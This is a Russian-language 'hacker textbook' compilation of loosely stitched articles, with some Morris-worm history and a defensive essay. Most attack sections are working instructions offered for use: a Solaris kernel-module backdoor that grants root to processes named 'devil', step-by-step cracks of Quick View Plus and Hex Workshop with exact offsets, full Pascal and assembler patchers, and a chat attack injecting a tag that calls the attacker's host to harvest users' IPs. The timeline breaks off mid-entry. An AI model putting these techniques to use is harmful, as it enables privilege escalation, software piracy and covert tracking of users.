Учебник хакера

         

АТАКА ПО-РУССКИ


Для проверки работы алгоритма пришлось сделать новую программу. С помощью следующего нововведения удалось добиться, чтобы в сети никто не "повис". Серверу посылаются подряд 256 пакетов с разными значениями в поле Sequence Number (см. Рисунок 4). Только значение поля не увеличивается, а уменьшается. Следовательно, "правильный" пакет серверу придет только один, и значение счетчика пакетов на сервере увеличится только на единицу. Сервер, после того как ему приходит настоящий пакет, полагая, что ответ на предыдущий запрос станции ей не дошел, делает "откат" в счетчике пакетов и обрабатывает запрос станции снова. Но самое главное сервер не делает откат операции, которая только что была выполнена.

Рисунок 4.

Схема перехвата полномочий.

На Распечатке 1

приведен формат пакета, посылаемого подобными программами. Этот пакет эмулирует выполнение операции Equivalent To Me, позволяющей получить почти все права администратора сети (для удобства фоpмат пpиведен в опpеделениях языка ассемблеp).

Данный пример не применим в случае сети NetWare 4.x по следующим причинам. В поколении сетей 4.х введен новый тип администратора - Admin. Для совместимости с предыдущими версиями существует SUPERVISOR, но администраторы сетей его не используют, хотя функция корректно обрабатывается сервером. Также в сетях 4.х возможно отключение поддержки базы Bindery в связи с переходом к службе каталогов NDS. Имя пользователя должно быть полным - т. е. с указанием дерева и контекста (например, 3107.inf.tsu).

С учетом всего вышесказанного можно построить пакет, который будет приносить результат и в сети NetWare 4.x. Заголовки протоколов IPX и NCP можно оставить без изменений, а данные NCP могут быть такими, как на Распечатке 2.

Здесь взломщик сети получает права администратора на все дерево NDS. В том случае, конечно, если подобные права есть у самого администратора, и он работает в сети.

Следует отметить, что для получения прав администратора сети злоумышленнику в любом случае необходимо иметь доступ в сеть, хотя бы с минимальными правами.
Следовательно, потенциальным взломщиком может быть только тот, кто имеет доступ к ресурсам вашего сервера. Также, вполне вероятно, что некто получит доступ в сеть, используя чужое имя входа и пароль. Наверняка в вашей сети имеются пользователи с паролями, не соответствующими правилам безопасности. Например, у них вообще может не быть пароля или он совпадает с именем пользователя. Для выявления таких пользователей существуют различные вспомогательные программы. Одна из таких программ - chknull.exe - позволяет проверить наличие паролей и степень их безопасности. Запустив ее, вы увидите список пользователей, которые не удосужились задать пароль. С параметром -p программа проверит наличие пользователей, у которых пароли совпадают с их именами входа в сеть. Также в командной строке в качестве параметра вы можете перечислить нежелательные для применения пароли и получить список пользователей с такими паролями.

Эту программу, как и множество других, относящихся к теме безопасности NetWare, можно найти в глобальной сети Internet. Например, по адресу: http://www.tsu.ru/~eugene/, вы найдете и эти программы, и список некоторых адресов, посвященных защите сетей Novell NetWare. Но помните: программой, подобной chknull, можете воспользоваться не только вы, как администратор, но и те, кто хочет получить несанкционированный доступ в вашу сеть.


Атрибуты специальных устройств.


/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666 дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t структуру своего процесса и изменить его эффективный uid. {kmem_thief}



Backdoors




"Мертвый компьютер - защищенный компьютер!"



Безопасность о двух концах.


Пример выше еще раз убеждает в том, что при разработке и реализации подсистемы безопасности ВС принимаемые решения должны быть тщательно выверены и проанализированы со всех точек зрения (а не должны слепо следовать требованиям стандартов, нормативов или некоторой субъективной логики). Одну такую точку зрения я предлагаю в этой статье - ни одно решение, направленное на профилактику, затруднение, обнаружение, регистрацию, противодействие или восстановление от некоторой угрозы не должно повышать вероятность осуществления другой угрозы. Возможно, это требование будет самопротиворечиво в общем случае, тогда необходимо его уточнить так, что угрозы, вероятность осуществления которых может повыситься, не должны быть более опасными.

Понятие "опасности" угрозы также нельзя, видимо, определить в общем случае (можно очень долго дискутировать, что, например, является более опасным - раскрытие или уничтожение информации, да это и не является целью данной статьи), но ранжирование угроз по степени опасности можно проводить, исходя из задач защищенной вычислительной системы. Для подавляющего большинства защищенных систем общего назначения, впрочем, можно признать, что из трех основных классов угроз: раскрытия, целостности и отказа в обслуживании, - последняя является наименее опасной.

Таким образом, если условно разделить функции подсистемы защиты на (см. рис. 1):

профилактику (предотвращение)

затруднение

обнаружение

противодействие (отражение)

регистрацию (учет)

восстановление

то для каждой из них можно придумать такие вполне вероятные способы внедрения, которые будут нарушать сформулированный выше принцип.

Рис. 1. Функции подсистемы защиты.

К наиболее распространенным и универсальным (могущим существовать во многих ВС) я бы отнес следующие сценарии нарушения безопасности, использующие сами средства защиты (цифры соответствуют предыдущему списку):

1.

1.1. Предотвращение угрозы приводит к событию, которое является более уязвимым (нештатным) по сравнению с плановой работой системы.
Этими событиями могут быть перезагрузки машины, переинициализации подсистемы безопасности и т.п. (см. пример 2 - использование механизма смены паролей для атак на подсистему аутентификации).

1.2. Предотвращение угрозы требует значительных ресурсов ЭВМ, из-за чего систему легче подвергнуть отказу в обслуживании (см. пример 5 - использование шифрования трафика для атак отказа в обслуживании).

2. Затруднение угрозы приводит к установке таких атрибутов безопасности, которые являются неприемлемыми для пользователей этой системы, что приводит к отключению или фактическому сведению на нет системы защиты (см. пример 4 - установка минимальной длины пароля для атак на криптографическую подсистему).

3. Система обнаружения угроз имеет такие расплывчатые признаки угрозы, что ее постоянное срабатывание приводит к ее полному отключению (пример - резидентные антивирусные блокировщики первого поколения, доводившие пользователя до исступления вопросами "Разрешать запись в файл XXX (Д/Н)?").

4.

4.1. Система противодействия реализована так, что она останавливает систему в крайнем случае с целью не допустить потери информации в ней. Тогда хакер может смоделировать "крайний случай" и система выйдет из строя.

4.2. Система активного противодействия может пытаться заблокировать или уничтожить систему, с которой происходит атака. Злоумышленник может подменить адрес, с которого происходит атака, на адрес самой системы.

4.3 Противодействие системы может быть направлено против ее администратора, отвечающего за отражение атаки. (см. пример 1 - блокирование ресурса администратора и невозможность противодействия им другим атакам).

5. Использование системой регистрации значительных ресурсов ЭВМ, из-за чего происходит отказ системы (см. пример 3 - переполнение файла регистрации событий, приводящее к отказу в обслуживании).

6. Предположим, что система восстановления поле атаки восстанавливает "ядро" системы из некого резервного источника. Но, если в результате атаки хакер сможет внедрить "троянского коня" непосредственно в резервную копию, то в результате такого восстановления эта закладка попадет в реально работающую систему.

Далее будет рассмотрен ряд примеров, иллюстрирующий эти сценарии.


Действующие лица


Десять лет назад, 2 ноября 1988 года, приблизительно в пять часов вечера на одном из компьютеров Массачусетского Технологического института был запущен знаменитый "Червь".

Это было беспрецедентное событие, первая в истории Интернета заранее спланированная атака. С тех пор сообщения о подобных инцидентах поступают с удручающей частотой. Но история первой атаки по-прежнему интересна - и как беспрецедентное событие, и потому, что люди, в отличие от программ, изменились не сильно.

Итак, что же произошло 2 ноября 1988 года? Главные действующие лица этой истории - не только люди, но и особые программы - "Червь" и "демоны". Что вообще, такое "демон"? Что такое "вирус"? Что такое "червь"?

Пользователи, как правило, привыкли иметь дело с так называемыми интерактивными программами. Интерактивная программа - это программа, которая получает от пользователя запросы и выдает на них какие-то ответы. "Демон" же с пользователем непосредственно не общается. Дело в том, что часто бывает нежелательно, а иногда и просто невозможно физически открыть интерактивной программе доступ к той информации, которая нужна ей для работы. В этом случае используются технологии, называемые "Клиент-Сервер", Программа-клиент интерактивно общается с пользователем, программа-сервер, или "демон", общается с программой-клиентом и обрабатывает полученные от нее запросы.

Говорят, что термин "демон" (daemon) пошел от аббревиатуры Disk And Execution MONitor - Монитор Диска и Исполнения, но, откуда бы этот термин не взялся, он стал означать программу, не способную взаимодействовать с пользователем напрямую.

Собственно, именно "демоны" обслуживают сервисы Интернета. Наиболее важными действующими лицами этой истории из "демонов" являются Сендмейл (Sendmail) - почтовый демон, и фингерди (fingerd) - демон специальной услуги, называемой "фингер" - палец (finger).

Функции сендмейла заключаются в приеме электронной почты и информации о том, кто и кому ее послал.
Он же осуществляет рассылку.

Фингерди, демон гораздо более простой, понимает специальные запросы - на вопрос о пользователе отвечает, когда тот в последний раз регистрировался в системе, когда в последний раз читал почту и так далее.

Что такое вирус? Вирус - это программа, распространяющая себя на компьютере. Как правило, это делается путем модификации некоторых исполняемых файлов - вируc "добавляет" себя к программе.

Термин "вирус" произошел из научной фантастики, но удручающе быстро стал часто встречаться в реальности. К компьютерам этот термин был приложен впервые в 1983 году, Фредом Кохеном. По его утверждению, он написал первого вируса в процессе подготовки докторской диссертации, третьего ноября 1983 года - по иронии судьбы, почти ровно за пять лет до Червя. Впрочем, к теме данной статьи вирусы имеют лишь косвенное отношение. Тип программ, к которым принадлежал Червь Морриса, так и называется - черви.

Что такое червь? Червь - это программа, созданная для того, чтобы работать на нескольких компьютерах, копировать себя из машины в машину и там запускать. Впервые термин "Червь" был использован в 1975 году в научной фантастике. До 88-го года многие корпорации, такие, как Xerox, экспериментировали с разделяемыми задачами. К примеру, весьма известен в то время был червь, названный Вампиром. Вечером, когда люди уходили из лаборатории, он запускал процессы, требующие больших затрат ресурсов компьютера. Утром, прежде чем сотрудники возвращались, он сохранял состояние задач и освобождал компьютеры. Кстати, с одним из подобных червей была связана первая проблема, похожая на атаку "Червя". Из-за ошибки в программировании он не прекратил свою работу утром. Более того, когда машины выключали и включали снова, черви из соседних компьютеров запускали свои копии на вновь включенные, срывая таким образом работу. Однако, во-первых, эти черви не были предназначены для таких действий (это был их внештатный режим); во-вторых, все это происходило в локальной сети, в зоне ответственности одного администратора, и все было под рукой - но 2 ноября была запущена, наверное, не имевшая себе аналогов, агрессивная и живучая программа.


Добавление или модификация демонов.


Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для затруднения обнаружения посторонних соединений путем прослушивания сети или обмана firewalla чужая программа может использоваться UDP протокол или ICMP пакеты.



Добавление модулей в ядро.


Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid.

SYS_setuid Solaris 2.6 .... proc_t p; user_t  ut; int my_setuid(uid_t uid) {         int rval;

        p = ttoproc(curthread);         mutex_enter(&p->p_lock);         up = prumap(p);         rval = bcmp(up->u_comm, "devil", 5);         (void)prunmap(p);         mutex_exit(&p->p_lock);         if( rval) {                 rval = setuid(uid);         } else {                 ...         }         return 0; } ....

Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0.



ДРУГИЕ АСПЕКТЫ БЕЗОПАСНОСТИ


Функция disconnect, обрывающая связь сервера с клиентом с помощью всего лишь одного пакета, также осталась незащищенной. Любой пользователь сети может незаметно "выкинуть" другого (даже администратора) и наслаждаться сделанной мелкой пакостью, а иногда и не мелкой (например, если в это время шел процесс резервного сохранения данных).

В заключение статьи хотелось бы сказать несколько слов о паролях в сетях NetWare. Дело в том, что узнать пароль можно только лишь при определенных условиях с помощью программы-перехватчика, которая запоминает комбинацию клавиш. Тех, кто думает, что пароль посылается по сети (а таких немало), спешим разочаровать: в NetWare этот недостаток свойственен только программам доступа к консоли сервера NetWare и регистрации пользователей Macintosh. Следовательно, заботой администратора в данной области защиты является периодическая проверка на наличие паролей.

Многие из старых ошибок уже не актуальны в последней версии IntranetWare, но в России эта система пока не получила такого распространения, как NetWare 3.x или NetWare 4.1. Многие сетевые администраторы не хотят переходить на новую систему либо по причине ее кажущейся сложности (хотя это далеко не так), либо по причине отсутствия средств, но не самое ли лучшее вложение денег - в будущую стабильность и надежность?



Учебник хакера


УЧЕБНИК ХАКЕРА

 

Введение

Взлом Windows-приложений

Взлом WWW-сервера на основе WebSite v1.1x

Некоторые аспекты атаки по словарю

"Сладкая Булочка" или "Ой, а что с моим компьютером?"

Руководство Soft-Ice

SoftIce в действии

О "взломах" html-чатов

Безопасность против безопасности

Первый удар

Как был взломан "Релком-Украина"

Backdoors

Черный ход в NetWare

Странички истории, или как действительно был взломан Сити-Банк

Исследования Intranet-сети компании PepsiCola International



ГОЛЛАНДСКАЯ АТАКА


На принципе подстановки пакетов была основана так называемая голландская атака, придуманная группой голландских студентов. Существует несколько версий реализации подстановки пакетов. Наиболее известная в России программа написана на ассемблере русским программистом, вместе с ней распространяется файл, содержащий описание ее работы. Эту программу автор статьи довольно часто встречал в сети своего университета, особенно у студентов первого и второго курсов. Теоретически у того, кто ее запустит, должны появиться все права на сервер - эквивалент SUPERVISOR (программа писалась для NetWare 3.x). Но у нее существует несколько недостатков.

Для успешного ее выполнения SUPERVISOR должен находиться в сети. Программа не пытается выяснить номер соединения администратора с сервером, а перебирает всех пользователей сети подряд, пока не получит результат. После выполнения программы в сети (кроме взломщика) останутся те, кому повезло (номера их соединений с сервером оказались больше, чем у администратора). Остальным (включая администратора) придется входить в сеть заново.

Автор этих строк еще не видел, чтобы данная программа работала. В ее коде существует несколько ошибок, из-за которых она "виснет" или просто не работает.



HACKING


ВЗЛОМ WINDOWS-ПРИЛОЖЕНИЙ

Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома.

Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.

ИНСТРУМЕНТЫ :

из инструментов взлома вам нужно следующее : W32Dasm 8.5 или боолее позднюю версию, Hacker's View 5.24, Norton Commander (я позднее объясню, почему я его использую).

Turbo Pascal 7.0

TASM и TLINK 3.0

ЧАСТЬ 1 : Как кракнуть Quick View Plus 4.0

Шаг 1. Запустите ORDER32.EXE

Шаг 2. Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.

Шаг 3. Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.

Шаг 4. Запустите Norton Comander, перейдите в директорию QVP.

Шаг 5. Скопируйте ORDER32.EXE в ORDER32.EXX (для  сохранности), а затем скопируйте  ORDER32.EXE в 1.EXE

(для    использования в W32Dasm).

Шаг 6. Запустите W32Dasm и раздессимблируйте 1.EXE.

Шаг 7. После этого, кликните на STRING DATA REFERENCE, найдите там сообщение "You have entered an incorrect code.Please check your entry" (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.

Шаг 8. Закройте SDR окно. Вы должны увидеть сообщение:

            * Possible reference to String Resource ID=00041: "You have entered...

            :004049F8 6A29 push 00000029

            :004049FA FF353CCE4000 push dword ptr [0040CE3C]

Шаг 9. ОК, теперь вы должны найти последнее сравнение типа CMP,JNE, JE,TEST и т.д. перед сообщением об ошибке.

Нажимайте стрелку "вверх", пока не найдете :

            :004049CD 755A jne 00404A29

            * Possible reference to String Resource ID=00032: "You must select...

            :004049CF 6A20 push 00000020

            ...

            ...

            * Possible reference to String Resource ID=00040: "Unlock Error"

Шаг 10. Теперь вы знаете, куда идет скачок при введении неправильного кода. Теперь можно посмотреть, что произойдет, если "jne" на "je". Убедитесь, что зеленая полоска находится на надписи:

               004049CD 755A jne 00404A29, вы должны увидеть  Offset address внизу на статусной строке типа

               @Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE.

Шаг 11. Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите  F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 3DCD.

               Вы должны увидеть следующее :

               00003DCD: 755A jne 000003E29

               00003DCF: 6A20 push 020

               00003DD1: FF15 call w,[di]

Шаг 12. Это то место, где вы можете изменить байты, нажмите F3, введите 74, нажмите F9 для обновления ORDER32.EXE. Выйдите из HIEW.

Шаг 13. Запустите ORDER32.EXE, введите любой код. Ура ! Мы сломали QVP 4.0 !

Но ! Что будет, если ввести настоящий серийный номер ? Появляется сообщение об ошибке ! Что это ?

Шаг 14. Снова запустиите HIEW ORDER32.EXE, нажмите F4, выберите Decode, нажмите F5  и введите 3DCD. Нажмите F3, введите EB, нажмите F9. Вы прямо "прыгнете" на Unlocked диалог.

ЧАСТЬ 2 : Как кракнуть Hex WorkShop 2.51

Шаг 1. Запустите HWORKS32.EXE

Шаг 2. Кликните на HELP, About HEX Wo..

Шаг 3. Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это  сообщение) и выйдите из программы.

Шаг 4. Запустите Norton Commander, перейдите в директорию HWS.

Шаг 5. Скопируйте файл HWORKS32.EXE в HWORKS32.EXX

(для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).

Шаг 6. Запустите W32Dasm и "разберите" 1.EXE.

Шаг 7. После этого, нажмите мышью на FIND TEXT, введите

"You have entered an" (вы должны помнить, что это             сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)

Шаг 8. Вы должны увидеть следующую строку :

Name: DialogID_0075, # of Controls=003, Caption:

"Registration Unsucce..

001-ControlID:FFFF, Control Class:""Control Text:"You have entered an..

002-ControlID:FFFF, Control Class:""Control Text:"Please confirm you..

Шаг 9. Оk, теперь вы знаете, что ControlID будет использоваться, когда вы введете  неверный код. Кликните FIND TEXT, введите "dialogid_0075" и вы найдете:

            * Possible reference to DialogID_0075

            :0041E233 6A75 push 00000075

            :0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Шаг 10. Теперь вы должны поискать последнюю ссылку, типа

CMP, JNE, JE и пр. перед диалогом об ошибке. Нажимайте клавишу "вверх", пока не найдете :

             :0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000

             :0041E149 0F8479000000 je 0041E1C8

             :0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Шаг 11. Теперь вам нужно посмотреть, что произойдет, если "je" заменить на "jne". Убедитесь, что зеленая полоска установлена на строке

             :0041E149 0F8479000000 je 0041E1C8.

Вы должны на нижней статусной строке увидеть оффсетный адрес, типа : @Offset0001D549h. Это то место, где вы сможете кракнуть HWORKS32.EXE

Шаг 12. Перейдите обратно в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 

              ID549.

              Вы должны увидеть следующее :

              0001D549: 0F847900 je 00001D5C6 ---------- (1)

              0001D54D: 0000 add [bx][si],al

              0001D54F: 8B8DFCFE mov cx,[di][0FEFC]

Шаг 13. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите  0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.

Шаг 14. Запустите HWORKS32.EXE и введите любой код, работает ? НЕТ !?!??!?!

Хе-хе-хе... Не волнуйтесь ! Снова перейдите в Нортон.

Скопируйте HWORKS32.EXX в HWORKS32.EXE (теперь

вы видите, почему я делаю копию файла с расширением

ЕХХ  для сохранности). Теперь перейдите в W32Dasm, вы

должны перейти туда, где только что были (на 0041У145).

Шаг 15. Нажмите F3 для очередного поиска "DialogID_0075", вы должны найти :

             * Possible reference to DialogID_0075

             :00430ADD 6A75 push 00000075

             :00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Шаг 16. Ok, теперь вы теперь можете посмотреть на последние ссылки, типа CMP, JNE,  JE и т.д. перед диалогом об ошибке. Нажимайте стрелку вверх, пока не найдете :

             :004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000

             :004309F3 0F8479000000 je 00430A72

             :004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Шаг 17. Теперь вы можете посмотреть, что произойдет, если "je" заменить на 'jne". (это должно сработать). Переместите

полоску на :004309F3 0F8479000000 je 00430A72. На статусной строке внизу экрана вы  должны следующее:

@Offset0002FDF3h (оффсетный адрес). Это то место, где

вы сможете кракнуть HWORKS32.EXE.

Шаг 18. Перейдите в Norton Commander, запустите HIEW

HWORKS32.EXE, нажмите F4 для  выбора Decode Mode

(ASM), нажмите F5 и введите 2FDF3. Вы должны увидеть:

             0002FDF3: 0F847900 je 00001D5C6 ---------- (1)

             0002FDF7: 0000 add [bx][si],al

             0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]

Шаг 19. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите  0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.

Шаг 20. Запустите снова HWORKS32.EXE и введите любой код. Работает ? Виола !!!  Поздравляю !!! Вы кракнули HEX

WorkShop 2.51 !

ЧАСТЬ 3 :Как сделать собственный патч

Здесь напечатан исходный код на Паскале :

    ------------------------<cut here>-------------------------------------------

Uses Crt;

Const A: Array[1..1] of Record {<-------- 1 byte to be patched}

A : Longint;

B : Byte;

End =

((A:$3DCD;B:$EB)); {<--------------- offset "3DCD" and byte "EB" to be changed}

Var Ch:Char;

I:Byte;

F:File;

FN:file of byte;

Size:longint;

Begin

Writeln('TKC''s Little Patch');writeln('Crack for QVP 4.0 by TKC/PC ''97');

Assign(F,'ORDER32.EXE'); {<-------------- filename to be patched}

{$I-} Reset(F,1); {$I+}

If IOResult <> 0 then

begin

writeln('File not found!');

halt(1);

end;

For I:=1 to 1 do {<---------------------- 1 byte to be patched}

Begin

Seek(F,A[I].A);

Ch:=Char(A[I].B);

Blockwrite(F,Ch,1);

End;

Writeln('File successfully patched!');

End.

------------------------<cut here>-------------------------------------------

Here's the source code for Assembler:

------------------------<cut here>-------------------------------------------

DOSSEG

.MODEL SMALL

.STACK 500h

.DATA

.CODE

PatchL EQU 6

Buffer Db PatchL Dup(1)

handle dw ?

intro db "TKC's Little Patch",0dh,0ah,"Crack for QVP 4.0 by TKC/PC '97$"

FileName db "ORDER32.EXE",0 ;<------- filename to be patched

notfound db 0dh,0ah,"File not found!$"

cracked db 0dh,0ah,"File successfully patched. Enjoy!$"

Cant db 0dh,0ah,"Can't write to file.$"

Done db "File has been made.$"

String db 0EBh,0 ;<------------- byte "EB" to be patched

START:

mov ax,cs

mov ds,ax

mov dx,offset intro ;point to the time prompt

mov ah,9 ;DOS: print string

int 21h

jmp openfile

openfile:

mov ax,cs

mov ds,ax

mov ax,3d02h

mov dx,offset FileName

int 21h

mov handle,ax

cmp ax,02h

je filedontexist

jmp write

filedontexist:

mov ax,cs

mov ds,ax

mov dx,offset notfound

mov ah,9 ;DOS: print string

int 21h ;display the time prompt

jmp exit

Write:

mov bx,handle

mov cx,0000h

mov dx,3DCDh ;<------------- offset "3DCD"

mov    ax,4200h

int 21h

mov cx,patchl

mov dx,offset String

mov ah,40h

mov cx,01h

int 21h

mov ax,cs

mov ds,ax

mov dx,offset cracked

mov ah,9 ;DOS: print string

int 21h ;display the time prompt

jmp Exit

Exit:

mov ah,3eh

int 21h

mov ax,4c00h

int 21h

END START

--------------------------<cut here>-----------------------------------------

Заключительные слова :

Здесь несколько важных функций, используемых для крака :

Hex: Asm: Means

75 or 0F85 jne jump if not equal

74 or 0F84 je jump if equal

EB jmp jump directly to

90 nop no operation

77 or 0F87 ja jump if above

0F86 jna jump if not above

0F83 jae jump if above or equal

0F82 jnae jump if not above or equal

0F82 jb jump if below

0F83 jnb jump if not below

0F86 jbe jump if below or equal

0F87 jnbe jump if not below or equal

0F8F jg jump if greater

0F8E jng jump if not greater

0F8D jge jump if greater or equal

0F8C jnge jump if not greater or equal

0F8C jl jump if less

0F8D jnl jump if not less

0F8E jle jump if less or equal

0F8F jnle jump if not less or equal

Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью  W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры.

Удачи !



Htmlcht


О "взломах" html-чатов

Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение.

Начал я с малого.

В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа <input type=hidden name=cookie value=SP202134> (так в партизанах хранится UserID)

Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь www.chat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа <input type=text name=cookie value=SP202134> (что бы можно было их изменять) После этого делаем HTML документ для "сборки чата" из кусков. Т.е. примерно так

"First.htm" <html> <frameset rows="80%,20%"> <frameset cols="70%,30%"> <frame name="razg" src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end"> <frame name="rigt" src="http://www.chat.nsk.su/right.html"> </frameset>

<frame name="bot" src="start.htm"> </frameset> </html>

Start.htm - это и есть тот фрейм который я сохранил и изменил

После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило :

1. Обходить зарегистрированные имена

2. Прятать свой IP от киллеров, за счет взятия чужого ID'a

Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг <bgsound src="">. Это позволило вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на хер не нужен, но этот косяк позволил вставить в свой месс строку типа <bgsound src="http://MyIP/cgi-bin/spy.exe">. Этот скрипт (spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял мне на винт данные из переменной окружения REMOTE_ADDR).
Это мне не очень понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате появились приваты. Это значит, что документ в главном фрейме (тот где мессы все) стал называться по другому.

До приватов :

http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end

После появления приватов :

http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end

Где SP456789 - UserID

После этого в скрипт (spy.exe) был добавлен вывод ID'a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID'ом не проблемма, тк ID каждого прописан там же примерно в такой строке

<br><b><font color=yellow size=-1>Тут ник</font></b> <font color=black><a href="/cgi-bin/private_form.cgi?SP448188"> <img src=/img/mes.gif border=0 vspace=0></a></font>

(Это строка взята из правого фрейма, где можно вызвать функцию "Кто в чате")

После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами.

Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя.

Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем <bgsound src="http://MyIP/cgi-bin/spy.exe"> MyNick зашел в чат (через прокси), и начал легонько ругаться (мне надо было, чтобы киллеры зашли на свою страничку). После этого (когда меня убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со страници не относящейся к известным мне страницам чата. Я полез на эту страницу и получил запрос на ввод пароля, со словами "Дорогой администратор...".Это приятно согрело душу. Дальше я начал думать, то ли подобрать пароль, то ли ещё что придумать. Но ситуация так сложилась, что я оказался в одной сети с киллером, и, запустив сниффер, я поимел пароль.

Ну вот и все.




INTRO


Введение

    Перед Вами уникальный в своем роде учебник, который в этом виде выходит впервые! В нем собрана и структурирована вся актуальная на сегодняшний день информация, которая может быть полезна как начинающему так и "бывалому" хакеру. Мы постарались включить сюда самые последние достижения в области хака и крака. В учебнике затрагиваются практические примеры крака программ с использованием наиболее известных дебаггеров, конкретные примеры взлома интернет-сайтов, web-chat'ов. Также можно узнать все про Backdoor ("черный вход") на интернет-сайты требующие предварительной регистрации. В учебник включено руководство Soft -Ice. Все материалы на русском языке!!!



История Червя: даты и время


2 ноября

примерно 17:00

Червь запущен

примерно 18:00

Машина prep.ai.mit.edu, машина с открытым доступом, заражена.

18:30

Зараженная машина Питтсбургского Университета заражает машины корпорации RAND

21:00

Червь в Стэнфорде

21:30

Первая машина в Университете штата Миннесота заражена

22:04

Калифорнийский Университет, Беркли. Майк Карелс и Фил Лапсли вскоре обнаружили Червя по необычно высокой загрузке машины.

22:40-23:40

Северная Каролина, SRI, Университет Карнеги-Меллона, Университет Мэрилэнда, Университет Пенсильвании, Массачусетский Технологический... Червь победоносно шагает по Сети.

23:40

В Беркли понимают, что атака ведется через rsh и sendmail. В качестве меры предосторожности, начинается блокирование сетевых сервисов.

23:45

Машины Лаборатории Баллистических Исследований заражены

23:49

Заражены машина Университета штата Юта, в течение следующего часа загрузка возросла до 100.

3 ноября

до 2:00

Продолжается заражение...

2:38

Peter Yee посылает в список рассылки TCP-IP сообщение “Нас атакуют”

3:34

Анонимный постинг в TCP-IP, вкратце описывающий, как остановить Червя. Автор постинга (Andy Sudduth) послал это сообщение после телефонного разговора с Моррисом, но, из-за перегрузки сетей и компьютеров, письмо не было отослано в течение примерно суток

примерно 4:00

Университет штата Колорадо и Университет Пурдью атакованы

5:54

Кейт Бостик отправляет предупреждение о Черве и заплаты к sendmail в список рассылки TCP-IP, ньюсгруппу 4bsd-ucb-fixes и нескольким системным администраторам

6:45

Клиффорд Столл сообщает о Черве в Национальный Центр Компьютерной Безопасности

7:30

Юджин Спаффорд обнаруживает необычную загрузку компьютеров. Считая, что дело в неисправности, он перезагружает машины.

8:07

Эдвард Ванг в Беркли разбирается с атакой через fingerd, но его письмо остается неотправленным в течение более чем полусуток

8:18

Юджин Спаффорд читает письмо Кейта, и отправляет кго в ньюсгруппу news.announce.important, в список рассылки nntp-managers и более чем 30 системным администраторам.


10:36

Юджин Спаффорд делает первое описание атаки Червя (атака через fingerd еще неизвестна)

11:30

Арпанет и Милнет разъединены

14:50

Машины в Пурдью, с исправленным sendmail'ом, вновь инфицированы.

18:00

Майк Спицер и Майк Рован, Пурдью, обнаруживают ошибку в fingerd. Из-за сбоя почтовой системы их письмо не отправляется

19:00

Билл Соммерфилд их Массачусетского Технологического Института звонит в Беркли и сообщает об атаке через fingerd. Однако, никаких писем и постингов не следует

19:19

Кейт Бостик публикует повые патчи к sendmail и fingerd. Письмо портится при передаче, а многие узлы получают его лишь на следующий день.

19:37

Тим Бекер из Рочестерского Университета рассылает описание атаки через fingerd.

23:10

